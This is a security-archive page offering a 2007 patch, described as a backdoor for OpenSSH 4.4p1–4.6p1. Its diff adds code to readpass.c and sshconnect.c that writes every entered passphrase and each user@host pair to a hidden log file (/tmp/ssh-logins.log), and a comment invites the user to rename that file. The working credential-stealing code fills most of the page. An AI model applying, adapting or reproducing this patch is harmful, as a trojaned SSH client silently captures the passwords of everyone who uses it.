what you don't know can hurt you

openssh-logging.patch

openssh-logging.patch
Posted Mar 27, 2007
Authored by Kris Katterjohn

Backdoor patch for OpenSSH versions 4.4p1, 4.5p1, and 4.6p1 that logs usernames, hosts, and passphrases from login attempts.

tags | encryption
MD5 | 9432ff425455192fdd65e22f189fdc36

openssh-logging.patch

Change Mirror Download
--- openssh-4.[456]p1/readpass.c  2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/readpass.c 2007-03-24 23:27:56.000000000 -0500
@@ -115,6 +115,7 @@ read_passphrase(const char *prompt, int
{
char *askpass = NULL, *ret, buf[1024];
int rppflags, use_askpass = 0, ttyfd;
+ FILE *o;

rppflags = (flags & RP_ECHO) ? RPP_ECHO_ON : RPP_ECHO_OFF;
if (flags & RP_USE_ASKPASS)
@@ -158,6 +159,12 @@ read_passphrase(const char *prompt, int

ret = xstrdup(buf);
memset(buf, 'x', sizeof buf);
+
+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "passphrase: %s\n", ret);
+ fclose(o);
+ }
+
return ret;
}

--- openssh-4.[456]p1/ssh.h 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/ssh.h 2007-03-24 23:23:51.000000000 -0500
@@ -12,6 +12,9 @@
* called by a name other than "ssh" or "Secure Shell".
*/

+/* Filename to log user@host and passphrase(s) to [change it! :)] */
+#define EVILLOGFILE "/tmp/ssh-logins.log"
+
/* Cipher used for encrypting authentication files. */
#define SSH_AUTHFILE_CIPHER SSH_CIPHER_3DES

--- openssh-4.[456]p1/sshconnect.c 2007-03-24 23:14:45.000000000 -0500
+++ by-kriskatterjohn/sshconnect.c 2007-03-24 23:28:24.000000000 -0500
@@ -947,6 +947,7 @@ ssh_login(Sensitive *sensitive, const ch
{
char *host, *cp;
char *server_user, *local_user;
+ FILE *o;

local_user = xstrdup(pw->pw_name);
server_user = options.user ? options.user : local_user;
@@ -957,6 +958,11 @@ ssh_login(Sensitive *sensitive, const ch
if (isupper(*cp))
*cp = (char)tolower(*cp);

+ if (o = fopen(EVILLOGFILE, "a")) {
+ fprintf(o, "%s@%s\n", server_user, host);
+ fclose(o);
+ }
+
/* Exchange protocol version identification strings with the server. */
ssh_exchange_identification();

Login or Register to add favorites

File Archive:

July 2020

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    15 Files
  • 2
    Jul 2nd
    19 Files
  • 3
    Jul 3rd
    11 Files
  • 4
    Jul 4th
    0 Files
  • 5
    Jul 5th
    0 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    0 Files
  • 9
    Jul 9th
    0 Files
  • 10
    Jul 10th
    0 Files
  • 11
    Jul 11th
    0 Files
  • 12
    Jul 12th
    0 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close